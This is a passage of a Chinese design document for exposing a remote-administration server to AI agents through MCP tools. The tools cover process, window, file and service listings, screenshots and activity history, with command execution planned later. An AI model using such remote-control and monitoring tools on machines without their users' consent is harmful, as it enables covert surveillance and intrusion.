> **本节是本技术书的关键**。此前设计把「进程/窗口/截图」误当作「子链接」,评审后纠正为:这些是**主连接 request/response**;真正走子链接的只有终端、完整屏幕、文件传输等大流量/持续流能力。两者实现机制不同,必须分开建模。
|
||||
|
||||
### 4.1 连接模型:主连接 vs 子链接
|
||||
|
||||
`common/commands.h` 定义了完整协议,分两层:
|
||||
|
||||
- **主连接**:客户端上线后与主控保持的长连接。承载心跳(`TOKEN_HEARTBEAT`)、命令下发,以及**轻量 request/response**——屏幕预览缩略图(`TOKEN_SCREEN_PREVIEW_RSP`)、历史活动(`TOKEN_REPORT_ACTIVITY`)等。响应以 `TOKEN_*` 回到主连接(捕获点见 §4.2)。
|
||||
- **子链接**:屏幕、终端、文件传输、**进程/窗口列表**等功能,服务端下 `COMMAND_*` 后客户端**新建一条 TCP 子链接**回连,数据以 `TOKEN_*` 开头,作为一个**新的 `CONTEXT_OBJECT`** 进入分派。其中进程/窗口列表是**一次性子链接**(回一条 `TOKEN_PSLIST`/`TOKEN_WSLIST` 即关,见 §4.2 模式 A′),终端/屏幕/文件传输则是**持续流子链接**。
|
||||
|
||||
两者都由同一个 `MessageHandle(CONTEXT_OBJECT*)` 分派,靠 `ContextObject->GetClientID()` 关联到同一台主机。**判断一个 `TOKEN_*` 属于哪层,看它的数据落在哪个 context 上**:
|
||||
|
||||
| 证据 | 结论 |
|
||||
|------|------|
|
||||
| 客户端 `KernelManager.cpp:1156` `COMMAND_SYSTEM` → `new IOCPClient` 子链接 + `LoopProcessManager`;`SystemManager.cpp:75` `GetProcessList()` 里 `szBuffer[0]=TOKEN_PSLIST`,经子链接 `Send2Server` 回传 | 进程/窗口列表 = **一次性子链接**(主连接下 `COMMAND_SYSTEM`/`COMMAND_WSLIST`,子连接回 `TOKEN_PSLIST`/`TOKEN_WSLIST`) |
|
||||
| `2015RemoteDlg.cpp:8527-8536`:`SendScreenPreviewRequest` 用 `ctx->Send2Client(...)`;响应 `TOKEN_SCREEN_PREVIEW_RSP` 在 `MessageHandle:6173` | 屏幕预览 = **主连接 RPC** |
|
||||
| `WebService.cpp:1836-1900` + `2015RemoteDlg.cpp:6312-6351`:`COMMAND_SHELL` → 客户端建 shell 子上下文 → `TOKEN_SHELL_START`/`TOKEN_TERMINAL_START` | 终端 = **子链接** |
|
||||
|
||||
### 4.2 模式 A:主连接 RPC(截图 / 历史活动)
|
||||
|
||||
适用于:`get_screenshot`(屏幕预览)、`get_activity_history`(历史活动)。
|
||||
|
||||
```
|
||||
MCP 工具 tools/call
|
||||
└─► 主 context ctx = FindHost(device_id)
|
||||
└─► ctx->Send2Client(COMMAND_*) // 主连接发 1 字节命令
|
||||
客户端处理后在主连接回 TOKEN_*
|
||||
└─► MessageHandle 收到 TOKEN_*(数据已在 ctx->InDeCompressedBuffer)
|
||||
├─ if (McpServer().IsPending(devId))
|
||||
│ McpServer().TakeMainResponse(devId, ctx->GetBuffer(0), ctx->GetBufferLength()); // IO 线程同步拷贝
|
||||
│ break; // 跳过 MFC 弹框(不 CancelIO,主连接不可关)
|
||||
└─ 否则走原 MFC 路径(如打开历史活动对话框)
|
||||
```
|
||||
|
||||
要点:
|
||||
|
||||
- **无子链接、无 subCtx**:数据就在主 context 缓冲里,MCP 只需在 `MessageHandle` 的对应 `TOKEN_*` 分支里**同步拷贝**到结果缓冲,再唤醒等待者。
|
||||
- **不 CancelIO**:响应落在主连接上,关闭会断开整个主机会话;故拦截后仅 `TakeMainResponse` + `break`,主连接保持。
|
||||
- **捕获点因工具而异(必须在 IO 线程同步拷贝)**:屏幕预览的 `TOKEN_SCREEN_PREVIEW_RSP` **直接读本消息的 `szBuffer`/`len`**(`2015RemoteDlg.cpp:6173-6185` 已在 case 内把 `szBuffer` 拷贝到堆消息再转主线程);历史活动的 `TOKEN_REPORT_ACTIVITY` 读 `GetBuffer(0)`(= `InDeCompressedBuffer`)。两者都是每 context 单消息缓冲,主连接 recv 循环处理完本条消息后即被覆盖,故拷贝必须发生在 `MessageHandle` 内部(IO 线程),不能异步等 UI 线程。
|
||||
- **请求关联**:`get_screenshot` 有 `reqId`(`ScreenPreviewReq.reqId`)可丢弃过期响应;`get_activity_history` **无请求 id**,靠「每 host 单飞行」(见 §4.4)保证正确性。
|
||||
|
||||
### 4.2′ 模式 A′:一次性子链接(进程 / 窗口列表)
|
||||
|
||||
适用于:`list_processes`、`list_windows`。**这是本技术书相对原设计的重要纠正**:进程/窗口列表**不是**主连接 RPC,而是一次性子链接——`COMMAND_PSLIST` 在主连接上是空操作(客户端 `KernelManager::OnReceive` 无此 case),正确的触发命令是 `COMMAND_SYSTEM`(进程)/`COMMAND_WSLIST`(窗口)。
|
||||
|
||||
```
|
||||
MCP 工具 tools/call
|
||||
└─► 主 context ctx = FindHost(device_id)
|
||||
└─► ctx->Send2Client(COMMAND_SYSTEM / COMMAND_WSLIST) // 主连接发 1 字节命令
|
||||
客户端 KernelManager::OnReceive 收到后新建一条子链接(new IOCPClient,EnableSubConnAuth)
|
||||
└─► 子链接 ConnectServer 后先发 TOKEN_CONN_AUTH(服务端 SetID 把 clientID 钉在子 context 上)
|
||||
└─► CSystemManager 构造函数立即 Send2Server(TOKEN_PSLIST / TOKEN_WSLIST)
|
||||
└─► MessageHandle 在【子 context】上收到 TOKEN_PSLIST / TOKEN_WSLIST(GetClientID()==主 host id)
|
||||
├─ if (McpServer().IsPending(devId))
|
||||
│ McpServer().TakeMainResponse(devId, GetBuffer(0), GetBufferLength());
|
||||
│ ContextObject->CancelIO(); // 用完即关一次性子链接(不关会泄漏)
|
||||
│ break; // 跳过 WM_OPENSYSTEMDIALOG
|
||||
└─ 否则 g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, ...) // MFC 路径
|
||||
```
|
||||
|
||||
要点:
|
||||
|
||||
- **有子链接、有 subCtx**:数据落在子 context 上,非主 context。子 context 的 `GetClientID()` 已由 `TOKEN_CONN_AUTH`(`2015RemoteDlg.cpp:6291` 的 `SetID`)钉成主连接 clientID,故 `IsPending(devId)` 能与主 context 的 `device_id` 对上。
|
||||
- **用完即关**:MCP 拦截后 `CancelIO()` 关闭子链接(客户端 IOCPClient 以 `exit_while_disconnect=true` 构造,会随断开退出);不关会泄漏子链接。
|
||||
- **与 MFC 对话框可并存**:MCP 与 MFC 对话框**各自使用独立的子链接**(客户端每次 `COMMAND_SYSTEM`/`COMMAND_WSLIST` 都新建一条),因此两者互不阻塞——MCP 的一次性调用不会导致 MFC 无法查看进程/窗口,反之亦然。无请求 id 的串扰靠「每 host 单飞行」(§4.4)规避,而非「与 MFC 对话框互斥」。
|
||||
- **编码**:进程名/路径按 clientType 判定(Windows=GBK/936、LNX/MAC=UTF-8,进程枚举走 A 接口不随 `CLIENT_CAP_UTF8` 转 UTF-8);窗口标题为客户端 UTF-8(按能力位 `CLIENT_CAP_UTF8` 判别,老客户端回落 CP936)。
|
||||
- **请求关联**:无请求 id → 每 host 单飞行(§4.4)。
|
||||
|
||||
- **文件列举也走 A′(`list_files`)**:列盘与进程/窗口同构(`COMMAND_LIST_DRIVE`→一次性子链接→`TOKEN_DRIVE_LIST` 即关);列目录则在此一次性子链接上**多一轮** `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后再关。故 `list_files` 归入模式 A′,而非原设计的模式 A(详见 §6.3)。
|
||||
|
||||
> **模式 A0(主连接单向命令,无响应)**:`kill_process`(`COMMAND_KILLPROCESS`)、`send_message`(`COMMAND_TALK`)这类「发完即走」的命令没有 MCP 需要的响应数据,**不需要** §4.4 的挂起注册表/超时/单飞行——`Send2Client` 后直接返回成功。它是模式 A 的退化情形,实现最简单。
|
||||
|
||||
### 4.3 模式 B:子链接流式(终端 / 完整屏幕 / 完整文件)
|
||||
|
||||
适用于:`exec_command`(终端),以及未来的实时远程桌面、完整文件传输。
|
||||
|
||||
```
|
||||
MCP 工具 tools/call
|
||||
└─► 登记挂起请求 m_Pending[device_id](标记 mode=B)
|
||||
└─► ctx = FindHost(device_id); ctx->Send2Client(COMMAND_SHELL) // 主连接下命令
|
||||
客户端建 shell 子链接
|
||||
└─► MessageHandle 收到 TOKEN_SHELL_START / TOKEN_TERMINAL_START
|
||||
├─ if (McpServer().IsPending(devId))
|
||||
│ McpServer().TakeSubContext(devId, ContextObject); // 接管子上下文
|
||||
│ break; // 跳过弹框
|
||||
└─ 否则弹 WM_OPENSHELLDIALOG
|
||||
后续 shell 输出
|
||||
└─► MessageHandle 顶部 IsTerminalContext 分支 → McpServer().OnShellData(...) 泵数据
|
||||
```
|
||||
|
||||
完全复刻 `WebService` 的 `IsTermPending`/`RegisterTerminalContext`/`OnTerminalData` 模式(`WebService.h:283-287`),但**不复用其长会话状态**——MCP 是「一次性:建链 → 收发 → 关链」。
|
||||
|
||||
### 4.4 统一挂起请求注册表
|
||||
|
||||
模式 A(主连接 RPC)与模式 A′(一次性子链接)共用一个按 `device_id`(= `context::GetClientID()`)索引的注册表。**当前实现(P2b)只覆盖 A/A′ 两种「一次性响应」**,故结构里只有 `data` + `done`,无需 `mode`/`subCtx`/`timedOut`;未来 P3a 的 `exec_command`(模式 B 流式)再扩展 `subCtx` 字段。
|
||||
|
||||
```cpp
|
||||
struct PendingRequest {
|
||||
std::string tool;
|
||||
std::vector<BYTE> data; // 结果缓冲(MessageHandle 内同步拷贝的字节)
|
||||
bool done = false;
|
||||
};
|
||||
std::mutex m_PendingMutex;
|
||||
std::condition_variable m_PendingCv;
|
||||
std::map<uint64_t, PendingRequest> m_Pending; // 受 m_PendingMutex 保护
|
||||
```
|
||||
|
||||
暴露给 `MessageHandle` 的钩子:
|
||||
|
||||
- `bool IsPending(uint64_t device_id)` —— 该 `TOKEN_*` 是否为 MCP 触发。
|
||||
- `void TakeMainResponse(uint64_t device_id, const BYTE* data, ULONG len)` —— 模式 A/A′:拷贝缓冲、`done=true`、唤醒 `cv`(在 IO 线程阻塞期间同步调用,拷贝安全)。
|
||||
|
||||
工具线程侧的方法:
|
||||
|
||||
- `bool BeginPending(uint64_t device_id, const std::string& tool)` —— 登记挂起(`false` = 该 host 已有挂起,返回「设备忙」)。
|
||||
- `bool WaitPending(uint64_t device_id, std::vector<BYTE>& out, int timeoutMs)` —— 等待响应(超时/失败自动清理并返回 `false`)。
|
||||
- `void ClearPending(uint64_t device_id)` —— 提前退出路径的清理。
|
||||
|
||||
**每 host 单飞行**:同一 `device_id` 同一时刻只允许一个挂起请求。这是「无请求 id」工具的正确性前提——进程/窗口/历史活动响应都不带请求 id,若同 host 并发两个请求,无法区分响应归属,故并发第二个请求返回「设备忙」(`-32003`)而非串扰。
|
||||
|
||||
> 说明:单飞行只约束「MCP 侧同 host 并发」,**不**约束「MCP 与 MFC 对话框并存」——二者各用独立子链接(模式 A′)或各自触发(模式 A),互不占位。详见 §4.2′。
|
||||
|
||||
### 4.5 超时与清理(MCP 与 Web 的关键差异)
|
||||
|
||||
Web 是长连接,子链接可长驻;MCP 是**一次性 request/response**。因此:
|
||||
|
||||
- **超时**:`wait_for(timeout)` 等数据;当前 P2b 用编译期常量 `kMcpToolTimeoutMs = 20000`(暂未接配置,见 §9)。超时返回 JSON-RPC 错误(`-32001`),并清理注册表。
|
||||
- **迟到回收(已知边界)**:数据在超时后才到达(`IsPending` 已清)时,拦截分支不成立,响应会**回落到原 MFC 路径**(进程/窗口弹 `WM_OPENSYSTEMDIALOG`,历史活动弹对话框)——属「客户端在 20s 内未响应」这一病态场景的罕见副作用,不会串扰或崩溃。正常路径(<1s 内响应)不受影响。若未来要彻底消除,可给注册表加「超时墓碑 + 宽限期丢弃」。
|
||||
- **用完即关**:模式 A′(进程/窗口)拦截后 `CancelIO()` 关一次性子链接;模式 A(主连接 RPC)不关主连接。未来模式 B(终端)收集完 stdout 后主动关子上下文。
|
||||
- **阻塞 httplib worker**:`wait_for` 会阻塞 `HandleMcp` 所在的 httplib worker 线程。httplib 默认线程池约 8 线程,阻塞一个 20–30s 会占住一个 worker。MCP 属低频串行调用(AI 逐条调用),**本阶段可接受**;但需在 §12 显式声明,若未来需并发改用「提交任务 + 轮询结果」的异步模型。
|
||||
|
||||
---
|
||||
|
||||
## 5. 工具路线图(分阶段)
|
||||
|
||||
### 5.1 工具总表
|
||||
|
||||
> 「模式」标注实现路径(A=主连接 RPC,A′=一次性子链接,A0=主连接单向命令[无响应],B=子链接流式,—=纯内存)。
|
||||
|
||||
| 阶段 | 工具 | 功能 | 复用协议/函数 | 模式 | 风险 |
|
||||
|------|------|------|---------------|------|------|
|
||||
| P1(已交付) | `list_online_hosts` | 在线主机列表 | `BuildHostJson` | — | 只读 |
|
||||
| P2a(已实现并验证) | `search_hosts` | 按名称/IP/分组/OS/在线态过滤 | `list_online_hosts` 内存过滤 | — | 只读 |
|
||||
| P2a(已实现并验证) | `get_host_detail` | 单机详情(不含活动历史) | 现成 device 字段(`BuildHostJson`) | — | 只读 |
|
||||
| P2b(已实现并验证) | `list_processes` | 主机进程列表 | `COMMAND_SYSTEM`→(子链接)`TOKEN_PSLIST` | **A′** | 只读 |
|
||||
| P2b(已实现并验证) | `list_windows` | 主机窗口列表 | `COMMAND_WSLIST`→(子链接)`TOKEN_WSLIST` | **A′** | 只读 |
|
||||
| P2b(已实现并验证) | `get_activity_history` | 单机历史活动(文本快照) | `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) | **A** | 只读 |
|
||||
| P2c(已实现) | `get_screenshot` | 单帧屏幕截图(JPEG) | `COMMAND_SCREEN_PREVIEW_REQ`→`TOKEN_SCREEN_PREVIEW_RSP` | **A** | 只读 |
|
||||
| P2c(已实现) | `list_files` | 目录列举 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`(列盘)/ 同子链接再 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`(列目录) | **A′** | 只读 |
|
||||
| P2d(已实现) | `list_services` | Windows 服务列表 | `COMMAND_SERVICES`(218)→(子链接)`TOKEN_SERVERLIST` | **A′** | 只读 |
|
||||
| P2d(已实现) | `get_client_log` | 客户端运行日志快照 | `COMMAND_QUERY_LOG`(155)→(子链接)`TOKEN_REPORT_LOG`(156) | **A′** | 只读 |
|
||||
| P3 | `exec_command` | 执行命令、返回 stdout | `COMMAND_SHELL`→`TOKEN_SHELL_START`/`TOKEN_SHELL_DATA` | **B** | **写** |
|
||||
| P3 | `send_message` | 给被控端弹消息 | `COMMAND_TALK`(220) | **A0** | 写(低危) |
|
||||
| P3 | `kill_process` | 结束进程 | `COMMAND_KILLPROCESS` | **A0** | **写** |
|
||||
| P4(暂缓) | 实时远程桌面 / 交互终端 | 持续流 | 屏幕/终端子链接 + SSE/轮询 | **B** | 需会话模型 |
|
||||
|
||||
### 5.2 Phase 2:只读观测(低风险,无写操作)
|
||||
|
||||
全部只读,不改变被控端任何状态,token 模型不变(仍单一静态 token)。P2a 纯内存、零改动;P2b/P2c/P2d 引入模式 A/A′ 无头接管,但只读、可回滚。
|
||||
|
||||
### 5.3 Phase 3:安全写操作(需单独评审)
|
||||
|
||||
进入 `Mcp_Design.md §1.3` 明确划出的「写操作」区。每个工具交付前需评审三点(见 §8):命令白名单、审计日志、**分组授权 + token 分级**。
|
||||
|
||||
### 5.4 Phase 4:会话/流式(暂缓)
|
||||
|
||||
实时远程桌面、交互终端等需要「持续流」的能力,与当前 request/response 模型不匹配。需先决定传输方案(SSE / 提交任务 + 轮询),本期**不做**,避免过早引入复杂会话状态。
|
||||
|
||||
---
|
||||
|
||||
## 6. 分阶段实施计划
|
||||
|
||||
> 每期都给出:改动文件、接口、测试点、回滚方式。原则是**每期可独立合入、独立验收、独立回滚**。
|
||||
|
||||
### 6.1 P2a:`search_hosts` + `get_host_detail`(纯内存,零子链接)✅ 已实现并验证
|
||||
|
||||
**改动**:仅 `McpServer.cpp`。
|
||||
- `BuildToolsListResult` 增两个工具描述 + schema。
|
||||
- `BuildToolsCall` 增两个分支,复用 `list_online_hosts` 已遍历出的主机数据做内存过滤/单机抽取(抽出 `CollectOnlineHosts` 收集 + `BuildHostItemSchema` 复用)。
|
||||
- 无任何 `MessageHandle`/`WebService`/`context` 改动。
|
||||
|
||||
**影响面**:极小,只加不改。**回滚**:revert 单文件即可。
|
||||
|
||||
**验收**:`tools/list` 返回 3 个工具;`tools/call search_hosts` 按 filter 正确过滤;`get_host_detail` 对在线主机返回正确字段、对离线/非法 id 返回明确错误。
|
||||
|
||||
> **范围修正**:原计划 `get_host_detail` 附带「活动历史」,但活动历史是 `COMMAND_QUERY_ACTIVITY`(159)→`TOKEN_REPORT_ACTIVITY`(160) 的**主连接往返**(客户端上报、服务端不落库),非纯内存字段,违反 P2a「纯内存」约束。故 P2a 的 `get_host_detail` 只返回主机实时字段,活动历史单列为 P2b 的 `get_activity_history`(模式 A)。
|
||||
|
||||
### 6.2 P2b:`list_processes` + `list_windows` + `get_activity_history`(模式 A′ / 模式 A,首次无头接管)✅ 已实现并验证
|
||||
|
||||
> 本节已按实际实现修订:进程/窗口是**一次性子链接**(模式 A′),历史活动是**主连接 RPC**(模式 A),见 §4.2/§4.2′。
|
||||
|
||||
**改动**:
|
||||
|
||||
- `McpServer.h/.cpp`:
|
||||
- 加 §4.4 的 `m_Pending` 注册表 + `IsPending`/`TakeMainResponse`/`BeginPending`/`WaitPending`/`ClearPending`,每 host 单飞行检查。
|
||||
- 加解析器 `ParseProcessList`(PID/name/arch/path,按 clientType 编码转 UTF-8)、`ParseWindowList`(hwnd/title/status/pid,标题按能力位解码);两者都用 `BoundedStrlen` 有界读 + 「空记录 = 尾部零填充」终止,规避客户端 `LocalSize` 对齐引入的尾部零字节。
|
||||
- 加三个工具:`list_processes`(发 `COMMAND_SYSTEM`)、`list_windows`(发 `COMMAND_WSLIST`)、`get_activity_history`(发 `COMMAND_QUERY_ACTIVITY`)。
|
||||
- `2015RemoteDlg.cpp` 的 `MessageHandle`:
|
||||
- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支(子 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(devId, GetBuffer(0), GetBufferLength()); ContextObject->CancelIO(); break; }`(**在 UI 线程、IO 线程阻塞期间同步拷贝**;用完即关子链接)。
|
||||
- `TOKEN_REPORT_ACTIVITY` 分支(主 context):`if (McpServer().IsPending(devId)) { TakeMainResponse(...); break; }`(**不 CancelIO**,主连接不可关)。
|
||||
|
||||
**影响面**:`MessageHandle` 只新增 `if` 分支,不影响现有 MFC 弹框路径(非 MCP 触发时 `IsPending` 为假,行为不变)。
|
||||
|
||||
**验收**:
|
||||
- MFC 双击进程/窗口管理弹框仍正常(回归点);MFC 历史活动对话框仍正常(回归点)。
|
||||
- MCP `list_processes` 返回 `[{pid,name,arch,path}]`;`list_windows` 返回 `[{hwnd,title,status,pid}]`;`get_activity_history` 返回 `{records:[...], activityHistory}`(UTF-8 文本,逐行拆记录)。
|
||||
- 超时(如对离线主机)返回 `-32001` 而非挂死;同 host 并发第二次调用返回 `-32003`「设备忙」;发送失败返回 `-32004`。
|
||||
- 中文进程名/窗口标题无乱码(进程名按 clientType 解码、窗口标题按能力位 UTF-8)。
|
||||
|
||||
**验证记录**(2026-08-19,真实在线主机实测):
|
||||
- `list_processes`(Windows 11 主机):`pid`/`name`/`arch`/`path` 完整;`pid==0` 仅 1 条(合法 `[System Process]`),无尾部零填充空记录——padding 防护生效。
|
||||
- `list_windows`:`hwnd`/`title`/`status`/`pid` 完整,无空标题记录;中文标题(「搭建 MCP 架构…」「微信」)UTF-8 正确。
|
||||
- `get_activity_history`:返回 `[时间] [标题] 时长` 记录,UTF-8 正确。
|
||||
- 错误路径实测:缺 `id` → `-32602`;非数字 `id` → `-32602`;未知/离线主机 → `-32002`;错误 token → HTTP 401。
|
||||
- **客户端版本门槛**:`get_activity_history` 依赖客户端 `2026-08-15`(提交 `29929e4`)加入的 `COMMAND_QUERY_ACTIVITY` 处理;更早的客户端(如 `Jul 14 2026`)不识别该命令、无响应,服务端 20s 超时返回 `-32001`——属预期行为,非 bug。测试须选 `Aug 15 2026` 及之后的客户端。
|
||||
|
||||
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 两处 `if` 分支。
|
||||
|
||||
### 6.3 P2c:`get_screenshot` + `list_files`(模式 A / A′)✅ 已实现(待实机验证)
|
||||
|
||||
> 本节按实际实现修订:`get_screenshot` 是**主连接 RPC**(模式 A,有 reqId 关联);`list_files` 是**一次性子链接**(模式 A′)——列盘 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 即关,列目录则在 `TOKEN_DRIVE_LIST` 到达时就地同子链接再发 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` 后关链。原设计把 `list_files` 误标为模式 A,已纠正(与 §4.2′ 对进程/窗口的同类纠正一致)。
|
||||
|
||||
**`get_screenshot`(屏幕预览链路,主连接 RPC,模式 A)**:
|
||||
|
||||
- 复用现有双击预览机制 `COMMAND_SCREEN_PREVIEW_REQ`(247)→`TOKEN_SCREEN_PREVIEW_RSP`(248)(`common/commands.h:416-455`,单帧 JPEG,`ScreenPreviewReq`/`ScreenPreviewRspHeader`),`ctx->Send2Client` 发请求、主连接回响应,**不建子链接、不弹框**。
|
||||
- 复用 MFC 预览的 RTT/FRP 自适应参数挑选 `ChooseScreenPreviewParams` + `SendScreenPreviewRequest`,不重复实现 `GetTargetQualityLevel`。
|
||||
- **可选 `max_width` 参数**:缺省/0 沿用缩略图档位(最大 1024,4K 源屏高档 1280);`max_width`>0 覆盖宽度并钳制到客户端上限 `[64,1920]`(客户端 `CaptureAndEncodePreview` 硬钳制),供 AI 视觉/OCR 场景请求接近原分辨率(1080p 源屏传 1920 即原分辨率,4K 源屏最多 1920)。`jpegQuality` 仍沿用档位自适应值。
|
||||
- **请求关联**:`ScreenPreviewReq.reqId` 提供关联;MCP 用独立 16 位 reqId 发生器(`NextPreviewReqId`,跳过 0)+ `SetPendingReqId` 登记期望值,`TakePreviewResponse` 只接受「挂起命中 + reqId 一致」的响应,过期/他途(MFC 预览并发)响应原样回落到 MFC 路径。
|
||||
- 客户端能力位 `CLIENT_CAP_SCREEN_PREVIEW`(0x0004,仅 Windows 客户端声明):非 Windows 主机返回 `-32005`「不支持」。
|
||||
- 返回结构:`content[0] = {type:"image", data: base64(JPEG), mimeType:"image/jpeg"}` + `structuredContent.image = {mimeType,width,height,bytes}`(元数据,不含 base64,避免二次膨胀)。
|
||||
|
||||
**`list_files`(文件链路,一次性子链接,模式 A′)**:
|
||||
|
||||
- 复用经典文件链路 `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST` 与 `COMMAND_LIST_FILES`→`TOKEN_FILE_LIST`。**明确范围**:本阶段只做经典链路;项目另有 `COMMAND_GET_FOLDER`(66)、插件版 `TOKEN_DRIVE_LIST_PLUGIN`(150)、V2 文件传输,均列为非目标。
|
||||
- **两种调用形态**:
|
||||
- `path` 缺省/空(或 `.`/`/`/`\`)→ 只列盘:`COMMAND_LIST_DRIVE` 开子链接,`TOKEN_DRIVE_LIST` 到达即取走盘列表并关链(与进程/窗口同构的 A′)。
|
||||
- `path` 指定目录 → 列目录:`TOKEN_DRIVE_LIST` 到达时 `OnDriveList` 就地同子链接下发 `COMMAND_LIST_FILES`+`path`(`BuildListFiles` 已按客户端 ANSI 转好,`OnDriveList` 不再转),等 `TOKEN_FILE_LIST` 取走并关链。
|
||||
- **编码**:盘符类型名/文件系统、文件名、`path` 均按 **clientType** 判定(与进程名/路径一致):Windows 走 A 接口(`FindFirstFileA`/`GetLogicalDriveStringsA`/`SHGetFileInfoA` 等)= 客户端 ANSI(GBK/936);LNX/MAC 文件系统天然 UTF-8。**不能用 `GetClientEncoding`**——它按能力位返回 CP_UTF8,会误解声明 `CLIENT_CAP_UTF8` 的 Windows 客户端(其文件名实为 GBK)。解析用 `ToUtf8(buf, cp)`、下发用 `ToAnsi(path, cp)`,`cp = (clientType=="LNX"||"MAC") ? CP_UTF8 : 936`。
|
||||
- **大列表保护**:`ParseFileList(data, 500, cp)` 条目上限 500,避免 JSON 响应过大。
|
||||
- 返回结构:列盘 → `structuredContent.drives[]`;列目录 → `structuredContent.files[]`(`{name,isDir,size,mtime}`,mtime 为 Unix 秒)。
|
||||
|
||||
**改动**:
|
||||
|
||||
- `McpServer.h/.cpp`:
|
||||
- 挂起注册表扩展:`PendingRequest` 增 `path`、`expectedReqId` 字段;`BeginPending(devId, tool, path)` 重载,新增 `NextPreviewReqId`/`SetPendingReqId`/`TakePreviewResponse`/`OnDriveList` 四方法。
|
||||
- 解析器:`ParseDriveList`(`[letter][type][totalMB:4][freeMB:4][typeName\0][fileSystem\0]`,`letter=='\0'` 终止)、`ParseFileList`(`[attr][filename\0][sizeHigh:4][sizeLow:4][ft:8]`,空记录/上限 500 终止)。
|
||||
- 工具:`get_screenshot`(模式 A)、`list_files`(模式 A′),注册 schema(`get_screenshot` 无 inputSchema、`list_files` 带可选 `path`)。
|
||||
- `2015RemoteDlg.cpp` 的 `MessageHandle`(三处拦截):
|
||||
- `TOKEN_SCREEN_PREVIEW_RSP`(主 context):`TakePreviewResponse(devId, reqId, szBuffer, len)` 命中则 break(**不 CancelIO**,主连接不可关)。
|
||||
- `TOKEN_DRIVE_LIST`(子 context):`if (IsPending) { OnDriveList(...) ? CancelIO() : /*继续等*/ break; }`(列盘关链、列目录不关)。
|
||||
- `TOKEN_FILE_LIST`(子 context,**新增 case**):`if (IsPending) TakeMainResponse(...); CancelIO();`(无论命中都关孤儿子链接,防泄漏)。
|
||||
|
||||
**影响面**:`MessageHandle` 仅新增 `if` 分支与一个 `TOKEN_FILE_LIST` case;非 MCP 触发时 `IsPending` 为假、`TOKEN_FILE_LIST` case 在 MFC 路径下因 `hDlg` 接管根本不进 `MessageHandle`,现有 MFC 文件管理/屏幕预览弹框路径不变。
|
||||
|
||||
**验收 / 实机验证点(待构建后执行)**:
|
||||
- MFC 双击文件管理弹框仍正常(回归点);MFC 双击预览缩略图仍正常(回归点)。
|
||||
- MCP `get_screenshot` 返回 JPEG(base64 + 元数据),Windows 主机正常;非 Windows 主机(或未声明 `CLIENT_CAP_SCREEN_PREVIEW`)返回 `-32005`。
|
||||
- MCP `list_files`(无 `path`)返回 `drives[]`;`list_files(path="C:\\")` 返回 `files[]`(含目录/文件/大小/mtime),中文文件名无乱码;条目 >500 时截断为 500。
|
||||
- 错误路径:缺 `id`/非数字 `id` → `-32602`;未知/离线主机 → `-32002`;同 host 并发 → `-32003`;发送失败 → `-32004`;超时 → `-32001`。
|
||||
|
||||
**回滚**:revert `McpServer.h` + `McpServer.cpp` + `MessageHandle` 三处拦截。
|
||||
|
||||
### 6.4 P2d:`list_services` + `get_client_log`(模式 A′,只读感知扩展)✅ 已实现并验证
|
||||
|
||||
> 本期新增两个**只读**感知工具,均走**一次性子链接**(模式 A′),复用 §4.4 挂起注册表,无新增机制、无写操作。二者与 P2b 的进程/窗口、P2c 的列盘同构:主连接下发命令 → 客户端建子链接回传 → 取走即 `CancelIO`。
|
||||
|
||||
**`list_services`(服务管理链路,一次性子链接,仅 Windows)**:
|
||||
|
||||
- 复用经典服务链路 `COMMAND_SERVICES`(218)→`TOKEN_SERVERLIST`。客户端 `KernelManager::OnReceive` 收到 `COMMAND_SERVICES` 建子链接 `LoopServicesManager`,`CServicesManager` **构造函数即** `SendServicesList()`(无需再下 `COMMAND_SERVICELIST` 刷新命令),在子链接上一次性回传 `TOKEN_SERVERLIST`。
|
||||
- **记录格式**(`ServicesManager.cpp::GetServicesList`):`[TOKEN_SERVERLIST:1]` 后接 N 条 `[displayName\0][serviceName\0][binaryPath\0][runWay\0][autoRun\0]`,尾部 `LocalAlloc(LPTR)` 零填充终止。**字段顺序以代码为准**(`displayName` 在前、`serviceName` 在后;源码注释「真实名称/显示名称」标注相反,勿据注释判断)。`runWay`/`autoRun` 为英文枚举串(`Stopped/Running/Paused/…`、`Boot-Start/Auto-Start/Demand-Start/Disabled/…`)。
|
||||
- **编码**:字段全部来自 Windows A 接口(`EnumServicesStatus`/`QueryServiceConfig` 返回 ANSI),按 clientType 判定 `cp`(与进程/文件一致);仅 Windows 客户端实现(`EnumServicesStatus` 为 Windows-only),LNX/MAC 主机提前返回 `-32005`。
|
||||
- 返回结构:`structuredContent.services[] = {display_name, service_name, binary_path, status, start_type}`。
|
||||
|
||||
**`get_client_log`(客户端运行日志,一次性子链接取首条全量)**:
|
||||
|
||||
- 复用经典日志链路 `COMMAND_QUERY_LOG`(155)→`TOKEN_REPORT_LOG`(156)。客户端 `KernelManager::OnReceive` 收到 `COMMAND_QUERY_LOG` 建子链接 `LoopClientLogManager`,`CClientLogManager` 构造函数 `SendLogDump()`(`m_sentIdx=0` 返回**全量**),并启动 push 线程**每 3s 推增量**。
|
||||
- **关键语义**:`TOKEN_REPORT_LOG` 会**多次**到达(全量 + 每 3s 增量)。MCP 只取**首条全量**:`MessageHandle` 在 `IsPending` 命中时 `TakeMainResponse` 后立即 `CancelIO` 关子链接,后续增量不再到达(与 MFC 日志对话框「持续接收增量、不关链」的路径区分)。
|
||||
- **日志内容**:YAMA 客户端**自身运行时日志**(`Logger` 内存 ring buffer,最近最多 1000 条,含 `[pid][时间戳] [文件:行号] 消息`),**非** Windows 系统日志。
|
||||
- **编码**:日志文本为客户端 ANSI(Windows 走 `vsnprintf` A 版),按 clientType 判定 `cp`;`data[0]=token` 后为无 `'\0'` 终止的原始字节,需先 `std::string` 包装再 `ToUtf8`(`ToUtf8` 内部以 `-1` 读 null 终止串)。
|
||||
- 返回结构:`structuredContent.log = "<原始日志文本>"`。
|
||||
|
||||
**改动**:
|
||||
|
||||
- `McpServer.h/.cpp`:
|
||||
